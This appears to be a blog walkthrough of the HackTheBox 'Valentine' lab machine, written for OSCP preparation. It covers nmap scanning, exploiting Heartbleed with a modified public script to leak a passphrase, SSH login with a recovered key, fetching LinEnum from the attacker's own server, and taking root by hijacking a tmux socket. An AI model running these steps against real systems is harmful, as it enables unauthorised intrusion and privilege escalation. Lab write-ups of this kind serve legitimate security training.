OSCP Preparation Day-3 : Will you be My "Valentine"
HackTheBox - Valentine
Machine Link -
https://app.hackthebox.com/machines/Valentine
nmap initial scan reveals 3 ports - 22, 80, 443
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ nmap valentine.htb
full nmap scan says more about the ports.
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ sudo nmap -sC -sV -A -oA valentine.htb-nmap valentine.htb -p22,80,443
Apache httpd 2.2.22 (Ubuntu) can lead to Ubuntu Precise (12.04)
https://launchpad.net/ubuntu/+source/apache2/2.2.22-1ubuntu1.9
Browsing the web page of the machine with IP says clearly about HeartBleed vulnerability.
I did not knew how to exploit it but some tutorials helped me through it.
I am yet to learn more on this and understand.
There is also another Vulnerability this is prone to - DirtyCow
So as web page says HeartBleed
using nmap we scan this machine using nse-scripts
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ nmap -p443 --script ssl-heartbleed valentine.htb
for more
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ sudo nmap --script vuln -oA vulnscan valentine.htb
the output makes it clear the machine is vulnerable to heartbleed
Exploiting heartbleed
https://gist.github.com/eelsivart/10174134
Here understanding some of exploit development can help,
modified the script to throw max output as possible..and run the script multiple times ( in loop, look the script argument instead of loop)
there comes a text key repeated wihch is base64 encoded.
decode it
aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ echo -n aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d
heartbleedbelievethehype
meanwhile gobuster found some interesting entries.
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ gobuster dir --url
http://valentine.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
http://valentine.htb/dev has notes and hype_key - which is usually like SSH key... but its hex, convert it to ASCII -
https://www.rapidtables.com/convert/number/hex-to-ascii.html
save the decoded strings as key file
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ file hype.key
hype.key: PEM RSA private key
we now has a username - an IP, and a key, a decoded kind of passphrase.. - heartbleedbelievethehype
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ sudo chmod 600 hype.key
[sudo] password for abhinav:
┌──(abhinav㉿ETHICALHACKX)-[~/htb/valentine]
└─$ ssh -i hype.key hype@valentine.htb
Grab the userflag and jump next step to uploading LinEnum using python server.
┌──(abhinav㉿ETHICALHACKX)-[~/htb]
└─$ python -m SimpleHTTPServer 80
hype@Valentine:~/Desktop$ wget
10.10.14.50/LinEnum.sh
hype@Valentine:~/Desktop$ ls
LinEnum.sh user.txt << user flag>>
LinEnum says some information
there are some shells on machine --- > tmux
running services - root 1014 0.0 0.1 26416 1672 ? Ss 17:02 0:01 /usr/bin/tmux -S /.devs/dev_sess -->this is another interesting entry, I am yet to learn more of this.
Looking into bash_history
hype@Valentine:~/Desktop$ cat ~/.bash_history
Looking at running process as there was another entry in bash_history
hype@Valentine:~/Desktop$ ps -ef |grep root
hype@Valentine:~/Desktop$ ps -ef |grep tmux
root 1014 1 0 17:02 ? 00:00:02 /usr/bin/tmux -S /.devs/dev_sess
the process is running as root
and we can ls -la to see members of hype group got some superpowers.
hype@Valentine:~/Desktop$ la -la /.devs/dev_sess
srw-rw---- 1 root hype 0 Nov 6 17:02 /.devs/dev_sess
So lets run the tmux/ take over the session which is already running.
hype@Valentine:~Desktop tmux -S /.devs/dev_sess
hype@Valentine:~Desktop tmux -S /.devs/dev_sess
root@Valentine:/home/hype/Desktop# ls
LinEnum.sh user.txt
root@Valentine:/home/hype/Desktop# cd ~
root@Valentine:~# ls
curl.sh root.txt
root@Valentine:~# cat root.txt
fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#OSCP #day-3
Learn More at
@EthicalHackxCom